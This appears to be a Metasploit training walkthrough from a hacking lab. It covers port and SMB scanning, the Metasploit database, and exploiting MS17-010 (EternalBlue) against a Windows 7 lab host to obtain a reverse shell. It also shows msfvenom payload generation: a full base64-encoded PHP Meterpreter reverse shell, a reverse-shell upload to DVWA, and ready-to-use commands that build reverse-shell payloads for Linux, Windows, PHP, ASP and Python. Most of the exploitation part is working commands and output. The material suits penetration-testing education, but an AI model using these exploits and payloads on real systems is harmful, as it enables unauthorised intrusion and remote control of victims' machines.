Metasploit Exploitation
Port Scanning
Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.
Search portscan
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
msf6 >Port scanning modules will require you to set a few options:
Portscan options
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf6 auxiliary(scanner/portscan/tcp) >- CONCURRENCY: Number of targets to be scanned simultaneously.
- PORTS: Port range to be scanned. Please note that 1-1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.
- RHOSTS: Target or target network to be scanned.
- THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.
You can directly perform Nmap scans from the msfconsole prompt as shown below faster:
Using Nmap from the Msfconsole prompt
msf6 > nmap -sS 10.10.12.229
[*] exec: nmap -sS 10.10.12.229
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST
Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
Host is up (0.0011s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49158/tcp open unknown
MAC Address: 02:CE:59:27:C8:E3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds
msf6 >As for information gathering, if your engagement requires a speedier approach to port scanning, Metasploit may not be your first choice. However, a number of modules make Metasploit a useful tool for the scanning phase.
UDP service Identification
The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.
UDP scan
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts)
[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) >SMB Scans
Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.
SMB scan
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >When performing service scans, it would be important not to omit more "exotic" services such as NetBIOS. NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to communicate over the network to share files or send files to printers. The NetBIOS name of the target system can give you an idea about its role and even importance (e.g. CORP-DC, DEVOPS, SALES, etc.). You may also run across some shared files and folders that could be accessed either without a password or protected with a simple password (e.g. admin, administrator, root, toor, etc.).
Remember, Metasploit has many modules that can help you have a better understanding of the target system and possibly help you find vulnerabilities. It is always worth performing a quick search to see if there are any modules that could be helpful based on your target system.
The metasploit database
You will first need to start the PostgreSQL database, which Metasploit will use with the following command: systemctl start postgresql
Then you will need to initialize the Metasploit Database using the msfdb init command.
Starting Postgresql
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.3/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil
root@kali:~#You can now launch msfconsole and check the database status using the db_status command.
Checking the database status
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.
Listing workspaces
msf6 > workspace
* default
msf6 >You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named "tryhackme" was created.
Adding a workspace
msf6 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
msf5 > workspace
default
* tryhackme
msf6 >You will also notice that the new database name is printed in red, starting with a * symbol.
You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.
Changing workspaces
msf6 > workspace
default
* tryhackme
msf5 > workspace default
[*] Workspace: default
msf5 > workspace
tryhackme
* default
msf6 >You can use the workspace -h command to list available options for the workspace command.
Workspace help menu
msf6 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help informationDifferent from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.
Database backend commands
Database Backend Commands
=========================
Command Description
analyze Analyze database information about a specific address or address range
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the default to reconnect on startup
db_status Show the current data service status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspacesIf you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.
The db_nmap command
msf6 > db_nmap -sV -p- 10.10.12.229
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-20 03:15 UTC
[*] Nmap: Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
[*] Nmap: Host is up (0.00090s latency).
[*] Nmap: Not shown: 65526 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
[*] Nmap: 3389/tcp open ssl/ms-wbt-server?
[*] Nmap: 49152/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49153/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49154/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49158/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49162/tcp open msrpc Microsoft Windows RPC
[*] Nmap: MAC Address: 02:CE:59:27:C8:E3 (Unknown)
[*] Nmap: Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 94.91 seconds
msf6 >You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.
Hosts and services
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
10.10.12.229 02:ce:59:27:c8:e3 ip-10-10-12-229.eu-west-1.compute.internal Unknown device
msf6 > services
Services
========
host port proto name state info
10.10.12.229 135 tcp msrpc open Microsoft Windows RPC
10.10.12.229 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.10.12.229 445 tcp microsoft-ds open Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.12.229 3389 tcp ssl/ms-wbt-server open
10.10.12.229 49152 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49153 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49154 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49158 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49162 tcp msrpc open Microsoft Windows RPC
msf6 >The hosts -h and services -h commands can help you become more familiar with available options.
Once the host information is stored in the database, you can use the hosts -R command to add this value to the RHOSTS parameter.
Example Workflow
- We will use the vulnerability scanning module that finds potential MS17-010 vulnerabilities with the
use auxiliary/scanner/smb/smb_ms17_010command. - We set the RHOSTS value using
hosts -R. - We have typed
show optionsto check if all values were assigned correctly. (In this example, 10.10.138.32 is the IP address we have scanned earlier using thedb_nmapcommand) - Once all parameters are set, we launch the exploit using the
runorexploitcommand.
Using saved hosts
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > hosts -R
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
10.10.12.229 02:ce:59:27:c8:e3 ip-10-10-12-229.eu-west-1.compute.internal Unknown device
RHOSTS => 10.10.12.229
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 10.10.12.229 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > runIf there is more than one host saved to the database, all IP addresses will be used when the hosts -R command is used.
In a typical penetration testing engagement, we could have the following scenario:
- Finding available hosts using the
db_nmapcommand - Scanning these for further vulnerabilities or open ports (using a port scanning module)
The services command used with the -S parameter will allow you to search for specific services in the environment.
Querying the database for services
msf6 > services -S netbios
Services
========
host port proto name state info
10.10.12.229 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
msf6 >You may want to look for low-hanging fruits such as:
-
HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).
-
FTP: Could allow anonymous login and provide access to interesting files.
-
SMB: Could be vulnerable to SMB exploits like MS17-010
-
SSH: Could have default or easy to guess credentials
-
RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.
Exploitation
=[ metasploit v5.0.101-dev]
+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post]
+ -- --=[ 562 payloads - 45 encoders - 10 nops]
+ -- --=[ 7 evasion]You can search exploits using the search command, obtain more information about the exploit using the info command, and launch the exploit using exploit. While the process itself is simple, remember that a successful outcome depends on a thorough understanding of services running on the target system.
Most of the exploits will have a preset default payload. However, you can always use the show payloads command to list other commands you can use with that specific exploit.
Available payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom manual No Custom Payload
1 generic/shell_bind_tcp manual No Generic Command Shell, Bind TCP Inline
2 generic/shell_reverse_tcp manual No Generic Command Shell, Reverse TCP Inline
3 windows/x64/exec manual No Windows x64 Execute Command
4 windows/x64/loadlibrary manual No Windows x64 LoadLibrary Path
5 windows/x64/messagebox manual No Windows MessageBox x64
6 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)Once you have decided on the payload, you can use the set payload command to make your choice.
Payload options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 2
payload => generic/shell_reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) >Note that choosing a working payload could become a trial and error process due to environmental or OS restrictions such as firewall rules, anti-virus, file writing, or the program performing the payload execution isn't available (eg. payload/python/shell_reverse_tcp).
Some payloads will open new parameters that you may need to set, running the show options command once more can show these. As you can see in the above example, a reverse payload will at least require you to set the LHOST option.
Setting the LHOST value and running the exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.186.44
lhost => 10.10.186.44
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.186.44:4444
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.186.44:4444 -> 10.10.12.229:49366) at 2021-08-20 04:51:19 +0100
C:\Windows\system32>Once a session is opened, you can background it using CTRL+Z or abort it using CTRL+C. Backgrounding a session will be useful when working on more than one target simultaneously or on the same target with a different exploit and/or shell.
Backgrounding the session
C:\Windows\system32>^Z
Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) >Working with sessions
The sessions command will list all active sessions. The sessions command supports a number of options that will help you manage sessions better.
Sessions help menu
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -h
Usage: sessions [options] or sessions [id]
Active session manipulation and interaction.
OPTIONS:
-C Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-S Row search filter.
-c Run a command on the session given with -i, or all
-d List all inactive sessions
-h Help banner
-i Interact with the supplied session ID
-k Terminate sessions by session ID and/or range
-l List all active sessions
-n Name or rename a session by ID
-q Quiet mode
-s Run a script or module on the session given with -i, or all
-t Set a response timeout (default: 15)
-u Upgrade a shell to a meterpreter session on many platforms
-v List all active sessions in verbose mode
-x Show extended information in the session table
Many options allow specifying session ranges using commas and dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
msf6 exploit(windows/smb/ms17_010_eternalblue) >You can interact with any existing session using the sessions -i command followed by the session ID.
Interacting with sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...
C:\Windows\system32>Msfvenom
Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads.
Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).
Msfvenom payloads
root@ip-10-10-186-44:~# msfvenom -l payloads
Framework Payloads (562 total) [--payload ]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)Output formats
You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). Themsfvenom --list formats command can be used to list supported output formats
Encoders
Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw.
Generating a PHP payload
root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
root@ip-10-10-186-44:~#Handlers
Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is 'catching a shell'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.
The following scenario may be familiar; we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). For the exercises in this task, you will need to replicate a similar scenario on another target system, DVWA was used here for illustration purposes. The exploit steps are;
- Generate the PHP shell using MSFvenom
- Start the Metasploit handler
- Execute the PHP shell
MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. Seen below, 10.0.2.19 is the IP address of a Kali Linux machine used in the attack and local port 7777 was chosen.
Generating a PHP reverse shell
root@ip-10-0-2-19:~# msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3020 bytes
root@ip-10-0-2-19:~#Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?>), as seen below.
The reverse_shell.php file should be edited to convert it into a working PHP file.
Below: Comments removed from the beginning of the file.
Below: End tag added
We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.
Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.
To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values.
Setting up the listener
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set lhost 10.0.2.19
lhost => 10.0.2.19
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/reverse_php):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.19 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) >Once everything is set, we will run the handler and wait for the incoming connection.
Waiting for the reverse shell
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.186.44:7777When the reverse shell is triggered, the connection will be received by multi/handler and provide us with a shell.
If the payload was set as Meterpreter (e.g. in a Windows executable format), multi/handler would then provide us with a Meterpreter shell.
Other Payloads
Based on the target system's configuration (operating system, install webserver, installed interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use:
In all these examples, LHOST will be the IP address of your attacking machine, and LPORT will be the port on which your handler will listen.
Linux Executable and Linkable Format (elf)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
All of the examples above are reverse payloads. This means you will need to have the exploit/multi/handler module listening on your attacking machine to work as a handler. You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload.